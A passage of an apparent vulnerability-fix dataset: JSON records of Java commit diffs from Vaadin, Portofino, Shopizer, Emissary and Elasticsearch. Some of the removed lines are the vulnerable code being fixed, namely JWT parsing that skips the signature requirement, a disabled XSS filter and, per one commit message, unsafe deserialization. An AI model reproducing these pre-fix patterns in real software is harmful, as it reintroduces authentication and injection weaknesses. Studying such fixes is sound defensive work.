{\n+ return new ItStaticFileServer(servletService);\n+ }\n }\n \n @VaadinServletConfiguration(productionMode = false)\n@@ -59,6 +87,12 @@ public void init(ServletConfig servletConfig) throws ServletException {\n \n getService().setClassLoader(getClass().getClassLoader());\n }\n+\n+ @Override\n+ protected StaticFileHandler createStaticFileHandler(\n+ VaadinServletService servletService) {\n+ return new ItStaticFileServer(servletService);\n+ }\n }\n \n @VaadinServletConfiguration(productionMode = true)\n@@ -71,6 +105,12 @@ public void init(ServletConfig servletConfig) throws ServletException {\n \n getService().setClassLoader(getClass().getClassLoader());\n }\n+\n+ @Override\n+ protected StaticFileHandler createStaticFileHandler(\n+ VaadinServletService servletService) {\n+ return new ItStaticFileServer(servletService);\n+ }\n }\n \n @VaadinServletConfiguration(productionMode = true)\n@@ -82,6 +122,12 @@ public void init(ServletConfig servletConfig) throws ServletException {\n \n getService().setClassLoader(getClass().getClassLoader());\n }\n+\n+ @Override\n+ protected StaticFileHandler createStaticFileHandler(\n+ VaadinServletService servletService) {\n+ return new ItStaticFileServer(servletService);\n+ }\n }\n \n @VaadinServletConfiguration(productionMode = true)\n@@ -93,6 +139,12 @@ public void init(ServletConfig servletConfig) throws ServletException {\n getService().setClassLoader(getClass().getClassLoader());\n }\n \n+ @Override\n+ protected StaticFileHandler createStaticFileHandler(\n+ VaadinServletService servletService) {\n+ return new ItStaticFileServer(servletService);\n+ }\n+\n }\n \n @Override\n@@ -128,7 +180,7 @@ public HttpService addingService(\n httpService.registerServlet(\"/context/*\",\n new FixedViewServlet(), dictionary, null);\n httpService.registerServlet(\"/frontend/*\",\n- new WebJarsServlet(), dictionary, null);\n+ new FixedViewServlet(), dictionary, null);\n httpService.registerServlet(\"/new-router-session/*\",\n new FixedRouterServlet(), dictionary, null);\n httpService.registerServlet(\"/view-production/*\",", "sections": [{"section": "@@ -15,12 +15,13 @@\n */\n package com.vaadin.flow.osgi;\n \n-import java.util.Dictionary;\n-import java.util.Hashtable;\n-\n import javax.servlet.ServletConfig;\n import javax.servlet.ServletException;\n \n+import java.net.URL;\n+import java.util.Dictionary;\n+import java.util.Hashtable;\n+\n import org.osgi.framework.BundleActivator;\n import org.osgi.framework.BundleContext;\n import org.osgi.framework.ServiceReference;\n", "related": false}, {"section": "@@ -29,18 +30,39 @@\n import org.osgi.util.tracker.ServiceTracker;\n \n import com.vaadin.flow.server.Constants;\n+import com.vaadin.flow.server.StaticFileHandler;\n+import com.vaadin.flow.server.StaticFileServer;\n import com.vaadin.flow.server.VaadinServletConfiguration;\n+import com.vaadin.flow.server.VaadinServletService;\n import com.vaadin.flow.uitest.servlet.Es6UrlViewTestServlet;\n import com.vaadin.flow.uitest.servlet.ProductionModeTimingDataViewTestServlet;\n import com.vaadin.flow.uitest.servlet.ProductionModeViewTestServlet;\n import com.vaadin.flow.uitest.servlet.RouterTestServlet;\n import com.vaadin.flow.uitest.servlet.ViewTestServlet;\n-import com.vaadin.flow.uitest.servlet.WebJarsServlet;\n \n public class Activator implements BundleActivator {\n \n private ServiceTracker httpTracker;\n \n+ private static class ItStaticFileServer extends StaticFileServer {\n+\n+ private final VaadinServletService servletService;\n+\n+ private ItStaticFileServer(VaadinServletService servletService) {\n+ super(servletService);\n+ this.servletService = servletService;\n+ }\n+\n+ @Override\n+ protected URL getStaticResource(String path) {\n+ if (path.endsWith(\".class\")) {\n+ return null;\n+ }\n+ return servletService.getStaticResource(path);\n+ }\n+\n+ }\n+\n @VaadinServletConfiguration(productionMode = false)\n private static class FixedViewServlet extends ViewTestServlet {\n @Override\n", "related": false}, {"section": "@@ -49,6 +71,12 @@ public void init(ServletConfig servletConfig) throws ServletException {\n \n getService().setClassLoader(getClass().getClassLoader());\n }\n+\n+ @Override\n+ protected StaticFileHandler createStaticFileHandler(\n+ VaadinServletService servletService) {\n+ return new ItStaticFileServer(servletService);\n+ }\n }\n \n @VaadinServletConfiguration(productionMode = false)\n", "related": false}, {"section": "@@ -59,6 +87,12 @@ public void init(ServletConfig servletConfig) throws ServletException {\n \n getService().setClassLoader(getClass().getClassLoader());\n }\n+\n+ @Override\n+ protected StaticFileHandler createStaticFileHandler(\n+ VaadinServletService servletService) {\n+ return new ItStaticFileServer(servletService);\n+ }\n }\n \n @VaadinServletConfiguration(productionMode = true)\n", "related": false}, {"section": "@@ -71,6 +105,12 @@ public void init(ServletConfig servletConfig) throws ServletException {\n \n getService().setClassLoader(getClass().getClassLoader());\n }\n+\n+ @Override\n+ protected StaticFileHandler createStaticFileHandler(\n+ VaadinServletService servletService) {\n+ return new ItStaticFileServer(servletService);\n+ }\n }\n \n @VaadinServletConfiguration(productionMode = true)\n", "related": false}, {"section": "@@ -82,6 +122,12 @@ public void init(ServletConfig servletConfig) throws ServletException {\n \n getService().setClassLoader(getClass().getClassLoader());\n }\n+\n+ @Override\n+ protected StaticFileHandler createStaticFileHandler(\n+ VaadinServletService servletService) {\n+ return new ItStaticFileServer(servletService);\n+ }\n }\n \n @VaadinServletConfiguration(productionMode = true)\n", "related": false}, {"section": "@@ -93,6 +139,12 @@ public void init(ServletConfig servletConfig) throws ServletException {\n getService().setClassLoader(getClass().getClassLoader());\n }\n \n+ @Override\n+ protected StaticFileHandler createStaticFileHandler(\n+ VaadinServletService servletService) {\n+ return new ItStaticFileServer(servletService);\n+ }\n+\n }\n \n @Override\n", "related": false}, {"section": "@@ -128,7 +180,7 @@ public HttpService addingService(\n httpService.registerServlet(\"/context/*\",\n new FixedViewServlet(), dictionary, null);\n httpService.registerServlet(\"/frontend/*\",\n- new WebJarsServlet(), dictionary, null);\n+ new FixedViewServlet(), dictionary, null);\n httpService.registerServlet(\"/new-router-session/*\",\n new FixedRouterServlet(), dictionary, null);\n httpService.registerServlet(\"/view-production/*\",", "related": false}]} +{"owner": "vaadin", "repo": "flow", "language": "Java", "file_name": "flow-server/src/test/java/com/vaadin/flow/di/LookupInitializerTest.java", "commit_id": "168a9f895a85c6239dae7a704ac61c55328b32d1", "commit_message": "refactor: use StaticFileHandler as a service (#10229)\n\nrefactor: use StaticFileHandler as a service\r\n\r\nPart of vaadin/osgi#50", "patch": "@@ -32,6 +32,8 @@\n import java.util.List;\n import java.util.Map;\n import java.util.Set;\n+import java.util.Vector;\n+import java.util.concurrent.atomic.AtomicBoolean;\n import java.util.concurrent.atomic.AtomicReference;\n import java.util.stream.Collectors;\n \n@@ -42,7 +44,12 @@\n \n import com.vaadin.flow.di.LookupInitializer.AppShellPredicateImpl;\n import com.vaadin.flow.di.LookupInitializer.ResourceProviderImpl;\n+import com.vaadin.flow.function.DeploymentConfiguration;\n import com.vaadin.flow.function.VaadinApplicationInitializationBootstrap;\n+import com.vaadin.flow.server.StaticFileHandler;\n+import com.vaadin.flow.server.StaticFileHandlerFactory;\n+import com.vaadin.flow.server.StaticFileServer;\n+import com.vaadin.flow.server.VaadinService;\n import com.vaadin.flow.server.startup.AppShellPredicate;\n import com.vaadin.flow.server.startup.ApplicationConfigurationFactory;\n import com.vaadin.flow.server.startup.DefaultApplicationConfigurationFactory;\n@@ -54,7 +61,7 @@\n import elemental.json.Json;\n import elemental.json.JsonObject;\n \n-public class LookupIntializerTest {\n+public class LookupInitializerTest {\n \n private LookupInitializer initializer = new LookupInitializer();\n \n@@ -89,6 +96,54 @@ public void initialize_noResourcePorvider_defaultResourceProviderIsCreated()\n assertResourceProvider(lookup.lookup(ResourceProvider.class));\n }\n \n+ @Test\n+ public void initialize_noStaticFileHandlerFactory_defaultStaticFileHandlerFactoryCreated()\n+ throws ServletException {\n+ AtomicReference capture = new AtomicReference<>();\n+ initializer.initialize(null, new HashMap<>(), capture::set);\n+\n+ Lookup lookup = capture.get();\n+ StaticFileHandlerFactory factory = lookup\n+ .lookup(StaticFileHandlerFactory.class);\n+\n+ VaadinService service = Mockito.mock(VaadinService.class);\n+ DeploymentConfiguration configuration = Mockito\n+ .mock(DeploymentConfiguration.class);\n+ Mockito.when(service.getDeploymentConfiguration())\n+ .thenReturn(configuration);\n+ ClassLoader loader = Mockito.mock(ClassLoader.class);\n+ Mockito.when(service.getClassLoader()).thenReturn(loader);\n+\n+ StaticFileHandler handler = factory.createHandler(service);\n+ Assert.assertNotNull(handler);\n+ Assert.assertEquals(StaticFileServer.class, handler.getClass());\n+ }\n+\n+ @Test\n+ public void initialize_StaticFileHandlerFactoryIdDelegatedToEnsureService()\n+ throws ServletException {\n+ Map mock = Mockito.mock(Map.class);\n+ AtomicBoolean factoryIsPassed = new AtomicBoolean();\n+ initializer = new LookupInitializer() {\n+\n+ @Override\n+ protected void ensureService(\n+ Map, Collection>> services,\n+ Class serviceType, Class serviceImpl) {\n+ Assert.assertSame(mock, services);\n+ if (StaticFileHandlerFactory.class.equals(serviceType)) {\n+ factoryIsPassed.set(true);\n+ }\n+ }\n+ };\n+\n+ AtomicReference capture = new AtomicReference<>();\n+\n+ initializer.initialize(null, mock, capture::set);\n+\n+ Assert.assertTrue(factoryIsPassed.get());\n+ }\n+\n @Test\n public void initialize_hasOneTimeInitializerPredicate_predicateReturnsTrue()\n throws ServletException, IOException {\n@@ -246,6 +301,36 @@ public void initialize_callEnsureMethodsAndBootstrap()\n Mockito.verify(bootstrap).bootstrap(Mockito.any());\n }\n \n+ @Test\n+ public void ensureService_noServiceProvided_defaultIsUsed() {\n+ Map, Collection>> services = new HashMap<>();\n+ initializer.ensureService(services, List.class, ArrayList.class);\n+\n+ Assert.assertEquals(1, services.size());\n+ Collection> collection = services.get(List.class);\n+ Assert.assertEquals(1, collection.size());\n+ Assert.assertEquals(ArrayList.class, collection.iterator().next());\n+ }\n+\n+ @Test\n+ public void ensureService_defaultServiceProvided_defaultIsUsed() {\n+ Map, Collection>> services = new HashMap<>();\n+ services.put(List.class, Collections.singleton(ArrayList.class));\n+ initializer.ensureService(services, List.class, ArrayList.class);\n+\n+ Assert.assertEquals(1, services.size());\n+ Collection> collection = services.get(List.class);\n+ Assert.assertEquals(1, collection.size());\n+ Assert.assertEquals(ArrayList.class, collection.iterator().next());\n+ }\n+\n+ @Test(expected = IllegalStateException.class)\n+ public void ensureService_severalServicesProvided_throws() {\n+ Map, Collection>> services = new HashMap<>();\n+ services.put(List.class, Arrays.asList(Vector.class, LinkedList.class));\n+ initializer.ensureService(services, List.class, ArrayList.class);\n+ }\n+\n private void assertResourceProvider(ResourceProvider resourceProvider)\n throws IOException {\n Assert.assertEquals(ResourceProviderImpl.class,", "sections": [{"section": "@@ -32,6 +32,8 @@\n import java.util.List;\n import java.util.Map;\n import java.util.Set;\n+import java.util.Vector;\n+import java.util.concurrent.atomic.AtomicBoolean;\n import java.util.concurrent.atomic.AtomicReference;\n import java.util.stream.Collectors;\n \n", "related": false}, {"section": "@@ -42,7 +44,12 @@\n \n import com.vaadin.flow.di.LookupInitializer.AppShellPredicateImpl;\n import com.vaadin.flow.di.LookupInitializer.ResourceProviderImpl;\n+import com.vaadin.flow.function.DeploymentConfiguration;\n import com.vaadin.flow.function.VaadinApplicationInitializationBootstrap;\n+import com.vaadin.flow.server.StaticFileHandler;\n+import com.vaadin.flow.server.StaticFileHandlerFactory;\n+import com.vaadin.flow.server.StaticFileServer;\n+import com.vaadin.flow.server.VaadinService;\n import com.vaadin.flow.server.startup.AppShellPredicate;\n import com.vaadin.flow.server.startup.ApplicationConfigurationFactory;\n import com.vaadin.flow.server.startup.DefaultApplicationConfigurationFactory;\n", "related": false}, {"section": "@@ -54,7 +61,7 @@\n import elemental.json.Json;\n import elemental.json.JsonObject;\n \n-public class LookupIntializerTest {\n+public class LookupInitializerTest {\n \n private LookupInitializer initializer = new LookupInitializer();\n \n", "related": false}, {"section": "@@ -89,6 +96,54 @@ public void initialize_noResourcePorvider_defaultResourceProviderIsCreated()\n assertResourceProvider(lookup.lookup(ResourceProvider.class));\n }\n \n+ @Test\n+ public void initialize_noStaticFileHandlerFactory_defaultStaticFileHandlerFactoryCreated()\n+ throws ServletException {\n+ AtomicReference capture = new AtomicReference<>();\n+ initializer.initialize(null, new HashMap<>(), capture::set);\n+\n+ Lookup lookup = capture.get();\n+ StaticFileHandlerFactory factory = lookup\n+ .lookup(StaticFileHandlerFactory.class);\n+\n+ VaadinService service = Mockito.mock(VaadinService.class);\n+ DeploymentConfiguration configuration = Mockito\n+ .mock(DeploymentConfiguration.class);\n+ Mockito.when(service.getDeploymentConfiguration())\n+ .thenReturn(configuration);\n+ ClassLoader loader = Mockito.mock(ClassLoader.class);\n+ Mockito.when(service.getClassLoader()).thenReturn(loader);\n+\n+ StaticFileHandler handler = factory.createHandler(service);\n+ Assert.assertNotNull(handler);\n+ Assert.assertEquals(StaticFileServer.class, handler.getClass());\n+ }\n+\n+ @Test\n+ public void initialize_StaticFileHandlerFactoryIdDelegatedToEnsureService()\n+ throws ServletException {\n+ Map mock = Mockito.mock(Map.class);\n+ AtomicBoolean factoryIsPassed = new AtomicBoolean();\n+ initializer = new LookupInitializer() {\n+\n+ @Override\n+ protected void ensureService(\n+ Map, Collection>> services,\n+ Class serviceType, Class serviceImpl) {\n+ Assert.assertSame(mock, services);\n+ if (StaticFileHandlerFactory.class.equals(serviceType)) {\n+ factoryIsPassed.set(true);\n+ }\n+ }\n+ };\n+\n+ AtomicReference capture = new AtomicReference<>();\n+\n+ initializer.initialize(null, mock, capture::set);\n+\n+ Assert.assertTrue(factoryIsPassed.get());\n+ }\n+\n @Test\n public void initialize_hasOneTimeInitializerPredicate_predicateReturnsTrue()\n throws ServletException, IOException {\n", "related": false}, {"section": "@@ -246,6 +301,36 @@ public void initialize_callEnsureMethodsAndBootstrap()\n Mockito.verify(bootstrap).bootstrap(Mockito.any());\n }\n \n+ @Test\n+ public void ensureService_noServiceProvided_defaultIsUsed() {\n+ Map, Collection>> services = new HashMap<>();\n+ initializer.ensureService(services, List.class, ArrayList.class);\n+\n+ Assert.assertEquals(1, services.size());\n+ Collection> collection = services.get(List.class);\n+ Assert.assertEquals(1, collection.size());\n+ Assert.assertEquals(ArrayList.class, collection.iterator().next());\n+ }\n+\n+ @Test\n+ public void ensureService_defaultServiceProvided_defaultIsUsed() {\n+ Map, Collection>> services = new HashMap<>();\n+ services.put(List.class, Collections.singleton(ArrayList.class));\n+ initializer.ensureService(services, List.class, ArrayList.class);\n+\n+ Assert.assertEquals(1, services.size());\n+ Collection> collection = services.get(List.class);\n+ Assert.assertEquals(1, collection.size());\n+ Assert.assertEquals(ArrayList.class, collection.iterator().next());\n+ }\n+\n+ @Test(expected = IllegalStateException.class)\n+ public void ensureService_severalServicesProvided_throws() {\n+ Map, Collection>> services = new HashMap<>();\n+ services.put(List.class, Arrays.asList(Vector.class, LinkedList.class));\n+ initializer.ensureService(services, List.class, ArrayList.class);\n+ }\n+\n private void assertResourceProvider(ResourceProvider resourceProvider)\n throws IOException {\n Assert.assertEquals(ResourceProviderImpl.class,", "related": false}]} +{"owner": "vaadin", "repo": "flow", "language": "Java", "file_name": "flow-server/src/main/java/com/vaadin/flow/server/connect/VaadinConnectControllerConfiguration.java", "commit_id": "7222c96b1c5da51e56061cc5ae6d32f9a5876bc3", "commit_message": "[Security Fix]Use Vaadin's own ObjectMapper instead of the one from Spring (#8016)", "patch": "@@ -19,15 +19,24 @@\n import java.lang.reflect.Method;\n \n import com.vaadin.flow.server.frontend.FrontendUtils;\n+\n+import org.springframework.beans.factory.annotation.Qualifier;\n+import org.springframework.boot.autoconfigure.jackson.JacksonProperties;\n import org.springframework.boot.autoconfigure.web.servlet.WebMvcRegistrations;\n+import org.springframework.context.ApplicationContext;\n import org.springframework.context.annotation.Bean;\n import org.springframework.context.annotation.Configuration;\n import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;\n import org.springframework.web.servlet.mvc.method.RequestMappingInfo;\n import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;\n \n+import com.fasterxml.jackson.annotation.PropertyAccessor;\n+import com.fasterxml.jackson.annotation.JsonAutoDetect;\n+import com.fasterxml.jackson.databind.ObjectMapper;\n import com.vaadin.flow.server.connect.auth.VaadinConnectAccessChecker;\n \n+import static com.vaadin.flow.server.connect.VaadinConnectController.VAADIN_ENDPOINT_MAPPER_BEAN_QUALIFIER;\n+\n /**\n * A configuration class for customizing the {@link VaadinConnectController}\n * class.\n@@ -137,4 +146,24 @@ public VaadinConnectAccessChecker accessChecker() {\n public ExplicitNullableTypeChecker typeChecker() {\n return new ExplicitNullableTypeChecker();\n }\n+\n+ /**\n+ * Registers a {@link ObjectMapper} bean instance.\n+ *\n+ * @param context\n+ * Spring application context\n+ * @return the object mapper for endpoint.\n+ */\n+ @Bean\n+ @Qualifier(VAADIN_ENDPOINT_MAPPER_BEAN_QUALIFIER)\n+ public ObjectMapper vaadinEndpointMapper(ApplicationContext context) {\n+ ObjectMapper objectMapper = new ObjectMapper();\n+ JacksonProperties jacksonProperties = context\n+ .getBean(JacksonProperties.class);\n+ if (jacksonProperties.getVisibility().isEmpty()) {\n+ objectMapper.setVisibility(PropertyAccessor.ALL,\n+ JsonAutoDetect.Visibility.ANY);\n+ }\n+ return objectMapper;\n+ }\n }", "sections": [{"section": "@@ -19,15 +19,24 @@\n import java.lang.reflect.Method;\n \n import com.vaadin.flow.server.frontend.FrontendUtils;\n+\n+import org.springframework.beans.factory.annotation.Qualifier;\n+import org.springframework.boot.autoconfigure.jackson.JacksonProperties;\n import org.springframework.boot.autoconfigure.web.servlet.WebMvcRegistrations;\n+import org.springframework.context.ApplicationContext;\n import org.springframework.context.annotation.Bean;\n import org.springframework.context.annotation.Configuration;\n import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;\n import org.springframework.web.servlet.mvc.method.RequestMappingInfo;\n import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;\n \n+import com.fasterxml.jackson.annotation.PropertyAccessor;\n+import com.fasterxml.jackson.annotation.JsonAutoDetect;\n+import com.fasterxml.jackson.databind.ObjectMapper;\n import com.vaadin.flow.server.connect.auth.VaadinConnectAccessChecker;\n \n+import static com.vaadin.flow.server.connect.VaadinConnectController.VAADIN_ENDPOINT_MAPPER_BEAN_QUALIFIER;\n+\n /**\n * A configuration class for customizing the {@link VaadinConnectController}\n * class.\n", "related": false}, {"section": "@@ -137,4 +146,24 @@ public VaadinConnectAccessChecker accessChecker() {\n public ExplicitNullableTypeChecker typeChecker() {\n return new ExplicitNullableTypeChecker();\n }\n+\n+ /**\n+ * Registers a {@link ObjectMapper} bean instance.\n+ *\n+ * @param context\n+ * Spring application context\n+ * @return the object mapper for endpoint.\n+ */\n+ @Bean\n+ @Qualifier(VAADIN_ENDPOINT_MAPPER_BEAN_QUALIFIER)\n+ public ObjectMapper vaadinEndpointMapper(ApplicationContext context) {\n+ ObjectMapper objectMapper = new ObjectMapper();\n+ JacksonProperties jacksonProperties = context\n+ .getBean(JacksonProperties.class);\n+ if (jacksonProperties.getVisibility().isEmpty()) {\n+ objectMapper.setVisibility(PropertyAccessor.ALL,\n+ JsonAutoDetect.Visibility.ANY);\n+ }\n+ return objectMapper;\n+ }\n }", "related": false}]} +{"owner": "manydesigns", "repo": "portofino", "language": "Java", "file_name": "portofino-core/src/main/java/com/manydesigns/portofino/shiro/AbstractPortofinoRealm.java", "commit_id": "8c754a0ad234555e813dcbf9e57d637f9f23d8fb", "commit_message": "Fix security vulnerability", "patch": "@@ -24,10 +24,7 @@\n import com.manydesigns.elements.reflection.JavaClassAccessor;\n import com.manydesigns.portofino.code.CodeBase;\n import com.manydesigns.portofino.security.SecurityLogic;\n-import io.jsonwebtoken.Jwt;\n-import io.jsonwebtoken.JwtException;\n-import io.jsonwebtoken.Jwts;\n-import io.jsonwebtoken.SignatureAlgorithm;\n+import io.jsonwebtoken.*;\n import io.jsonwebtoken.io.Decoders;\n import org.apache.commons.configuration2.Configuration;\n import org.apache.shiro.authc.AuthenticationException;\n@@ -100,9 +97,9 @@ public boolean supports(AuthenticationToken token) {\n \n public AuthenticationInfo loadAuthenticationInfo(JSONWebToken token) {\n Key key = getJWTKey();\n- Jwt jwt;\n+ Jws jwt;\n try {\n- jwt = Jwts.parser().setSigningKey(key).parse(token.getPrincipal());\n+ jwt = Jwts.parser().setSigningKey(key).parseClaimsJws(token.getPrincipal());\n } catch (JwtException e) {\n throw new AuthenticationException(e);\n }\n@@ -111,8 +108,8 @@ public AuthenticationInfo loadAuthenticationInfo(JSONWebToken token) {\n return new SimpleAuthenticationInfo(principal, credentials, getName());\n }\n \n- protected Object extractPrincipalFromWebToken(Jwt jwt) {\n- Map body = (Map) jwt.getBody();\n+ protected Object extractPrincipalFromWebToken(Jws jwt) {\n+ Map body = jwt.getBody();\n String base64Principal = (String) body.get(\"serialized-principal\");\n byte[] serializedPrincipal = Base64.decode(base64Principal);\n Object principal;", "sections": [{"section": "@@ -24,10 +24,7 @@\n import com.manydesigns.elements.reflection.JavaClassAccessor;\n import com.manydesigns.portofino.code.CodeBase;\n import com.manydesigns.portofino.security.SecurityLogic;\n-import io.jsonwebtoken.Jwt;\n-import io.jsonwebtoken.JwtException;\n-import io.jsonwebtoken.Jwts;\n-import io.jsonwebtoken.SignatureAlgorithm;\n+import io.jsonwebtoken.*;\n import io.jsonwebtoken.io.Decoders;\n import org.apache.commons.configuration2.Configuration;\n import org.apache.shiro.authc.AuthenticationException;\n", "related": false}, {"section": "@@ -100,9 +97,9 @@ public boolean supports(AuthenticationToken token) {\n \n public AuthenticationInfo loadAuthenticationInfo(JSONWebToken token) {\n Key key = getJWTKey();\n- Jwt jwt;\n+ Jws jwt;\n try {\n- jwt = Jwts.parser().setSigningKey(key).parse(token.getPrincipal());\n+ jwt = Jwts.parser().setSigningKey(key).parseClaimsJws(token.getPrincipal());\n } catch (JwtException e) {\n throw new AuthenticationException(e);\n }\n", "related": false}, {"section": "@@ -111,8 +108,8 @@ public AuthenticationInfo loadAuthenticationInfo(JSONWebToken token) {\n return new SimpleAuthenticationInfo(principal, credentials, getName());\n }\n \n- protected Object extractPrincipalFromWebToken(Jwt jwt) {\n- Map body = (Map) jwt.getBody();\n+ protected Object extractPrincipalFromWebToken(Jws jwt) {\n+ Map body = jwt.getBody();\n String base64Principal = (String) body.get(\"serialized-principal\");\n byte[] serializedPrincipal = Base64.decode(base64Principal);\n Object principal;", "related": false}]} +{"owner": "shopizer-ecommerce", "repo": "shopizer", "language": "Java", "file_name": "sm-shop/src/main/java/com/salesmanager/shop/application/config/ShopApplicationConfiguration.java", "commit_id": "197f8c78c8f673b957e41ca2c823afc654c19271", "commit_message": "xss robustness", "patch": "@@ -78,7 +78,7 @@ public TilesViewResolver tilesViewResolver() {\n }\n \n \n-/* @Bean\n+ @Bean\n public FilterRegistrationBean croseSiteFilter(){\n FilterRegistrationBean registrationBean \n = new FilterRegistrationBean<>();\n@@ -87,7 +87,7 @@ public FilterRegistrationBean croseSiteFilter(){\n registrationBean.addUrlPatterns(\"/*\");\n \n return registrationBean; \n- }*/\n+ }\n \n @Override\n public void configureMessageConverters(List> converters) {", "sections": [{"section": "@@ -78,7 +78,7 @@ public TilesViewResolver tilesViewResolver() {\n }\n \n \n-/* @Bean\n+ @Bean\n public FilterRegistrationBean croseSiteFilter(){\n FilterRegistrationBean registrationBean \n = new FilterRegistrationBean<>();\n", "related": false}, {"section": "@@ -87,7 +87,7 @@ public FilterRegistrationBean croseSiteFilter(){\n registrationBean.addUrlPatterns(\"/*\");\n \n return registrationBean; \n- }*/\n+ }\n \n @Override\n public void configureMessageConverters(List> converters) {", "related": false}]} +{"owner": "nationalsecurityagency", "repo": "emissary", "language": "Java", "file_name": "src/main/java/emissary/pickup/WorkUnit.java", "commit_id": "40260b1ec1f76cc92361702cc14fa1e4388e19d7", "commit_message": "Merge pull request from GHSA-m5qf-gfmp-7638\n\n* Remove unsafe serialization from PayloadUtil\n\n* This code will likely be removed wholesale, but this change\n should be used as a departure point for future development\n if we end up re-implementing moveTo and friends.\n\n* Removed vestigial MoveTo related code.\n\n* Remove unsafe serialization in WorkSpace infra.\n\n* Favor DataInput/DataOutputStream over ObjectInput/ObjectOutputStream\n* Implement lightweight serialization in WorkBundle/WorkUnit\n\n* Updates to WorkBundle serDe, added tests.\n\n- set limit on number of WorkUnits per bundle. In practice these are\n commonly less than 1024.\n- added null handling for WorkBundle/WorkUnit string fields.\n- confirmed readUTF/writeUTF has a limit ensuring strings will\n be 65535 characters or less.\n\n* Minor cleanup to WorkBundleTest\n\n* Minor Change to WorkBundleTest\n\n* Formatting updates", "patch": "@@ -1,10 +1,14 @@\n package emissary.pickup;\n \n+import java.io.DataInputStream;\n+import java.io.DataOutputStream;\n+import java.io.IOException;\n+\n /**\n * A WorkUnit is a unit of work a worker will process. The idea is to replace fileNameList. Currently, WorkBundle is set\n * to only have one file, and so there will only be one WorkUnit.\n */\n-public class WorkUnit {\n+public final class WorkUnit {\n private String fileName;\n private String transactionId;\n // worker updates this boolean\n@@ -36,6 +40,22 @@ public class WorkUnit {\n this.failedToProcess = failedToProcess;\n }\n \n+ public static WorkUnit readFromStream(DataInputStream in) throws IOException {\n+ final WorkUnit u = new WorkUnit(null);\n+ u.fileName = WorkBundle.readUTFOrNull(in);\n+ u.transactionId = WorkBundle.readUTFOrNull(in);\n+ u.failedToParse = in.readBoolean();\n+ u.failedToProcess = in.readBoolean();\n+ return u;\n+ }\n+\n+ public void writeToStream(DataOutputStream out) throws IOException {\n+ WorkBundle.writeUTFOrNull(fileName, out);\n+ WorkBundle.writeUTFOrNull(transactionId, out);\n+ out.writeBoolean(failedToParse);\n+ out.writeBoolean(failedToProcess);\n+ }\n+\n /**\n * Gets the filename for the WorkUnit\n * ", "sections": [{"section": "@@ -1,10 +1,14 @@\n package emissary.pickup;\n \n+import java.io.DataInputStream;\n+import java.io.DataOutputStream;\n+import java.io.IOException;\n+\n /**\n * A WorkUnit is a unit of work a worker will process. The idea is to replace fileNameList. Currently, WorkBundle is set\n * to only have one file, and so there will only be one WorkUnit.\n */\n-public class WorkUnit {\n+public final class WorkUnit {\n private String fileName;\n private String transactionId;\n // worker updates this boolean\n", "related": false}, {"section": "@@ -36,6 +40,22 @@ public class WorkUnit {\n this.failedToProcess = failedToProcess;\n }\n \n+ public static WorkUnit readFromStream(DataInputStream in) throws IOException {\n+ final WorkUnit u = new WorkUnit(null);\n+ u.fileName = WorkBundle.readUTFOrNull(in);\n+ u.transactionId = WorkBundle.readUTFOrNull(in);\n+ u.failedToParse = in.readBoolean();\n+ u.failedToProcess = in.readBoolean();\n+ return u;\n+ }\n+\n+ public void writeToStream(DataOutputStream out) throws IOException {\n+ WorkBundle.writeUTFOrNull(fileName, out);\n+ WorkBundle.writeUTFOrNull(transactionId, out);\n+ out.writeBoolean(failedToParse);\n+ out.writeBoolean(failedToProcess);\n+ }\n+\n /**\n * Gets the filename for the WorkUnit\n * ", "related": false}]} +{"owner": "elastic", "repo": "elasticsearch", "language": "Java", "file_name": "x-pack/plugin/security/src/internalClusterTest/java/org/elasticsearch/integration/DocumentLevelSecurityTests.java", "commit_id": "b34410df3fe341d5d231276c8db2aae01334821e", "commit_message": "Improve shard level request cache efficiency (#69505) (#69507) (#69514)\n\nShard level request cache is improved to work correctly at all time. Also ensure profiling and suggester are properly disabled when not supported.", "patch": "@@ -129,7 +129,8 @@ protected String configUsers() {\n \"user1:\" + usersPasswdHashed + \"\\n\" +\n \"user2:\" + usersPasswdHashed + \"\\n\" +\n \"user3:\" + usersPasswdHashed + \"\\n\" +\n- \"user4:\" + usersPasswdHashed + \"\\n\";\n+ \"user4:\" + usersPasswdHashed + \"\\n\" +\n+ \"user5:\" + usersPasswdHashed + \"\\n\";\n }\n \n @Override\n@@ -138,7 +139,8 @@ protected String configUsersRoles() {\n \"role1:user1,user2,user3\\n\" +\n \"role2:user1,user3\\n\" +\n \"role3:user2,user3\\n\" +\n- \"role4:user4\\n\";\n+ \"role4:user4\\n\" +\n+ \"role5:user5\\n\";\n }\n \n @Override\n@@ -171,7 +173,17 @@ protected String configRoles() {\n \" - names: '*'\\n\" +\n \" privileges: [ ALL ]\\n\" +\n // query that can match nested documents\n- \" query: '{\\\"bool\\\": { \\\"must_not\\\": { \\\"term\\\" : {\\\"field1\\\" : \\\"value2\\\"}}}}'\";\n+ \" query: '{\\\"bool\\\": { \\\"must_not\\\": { \\\"term\\\" : {\\\"field1\\\" : \\\"value2\\\"}}}}'\\n\" +\n+ \"role5:\\n\" +\n+ \" cluster: [ all ]\\n\" +\n+ \" indices:\\n\" +\n+ \" - names: [ 'test' ]\\n\" +\n+ \" privileges: [ read ]\\n\" +\n+ \" query: '{\\\"term\\\" : {\\\"field2\\\" : \\\"value2\\\"}}'\\n\" +\n+ \" - names: [ 'fls-index' ]\\n\" +\n+ \" privileges: [ read ]\\n\" +\n+ \" field_security:\\n\" +\n+ \" grant: [ 'field1', 'other_field', 'suggest_field2' ]\\n\";\n }\n \n @Override\n@@ -1278,6 +1290,15 @@ public void testSuggesters() throws Exception {\n .endObject()).get();\n refresh(\"test\");\n \n+ assertAcked(client().admin().indices().prepareCreate(\"fls-index\")\n+ .setSettings(Settings.builder()\n+ .put(\"index.number_of_shards\", 1)\n+ .put(\"index.number_of_replicas\", 0)\n+ )\n+ .addMapping(\"type1\", \"field1\", \"type=text\", \"suggest_field1\", \"type=text\", \"suggest_field2\", \"type=completion\",\n+ \"yet_another\", \"type=text\")\n+ );\n+\n // Term suggester:\n SearchResponse response = client()\n .prepareSearch(\"test\")\n@@ -1293,9 +1314,13 @@ public void testSuggesters() throws Exception {\n assertThat(termSuggestion.getEntries().get(0).getOptions().size(), equalTo(1));\n assertThat(termSuggestion.getEntries().get(0).getOptions().get(0).getText().string(), equalTo(\"value\"));\n \n+ final String[] indices =\n+ 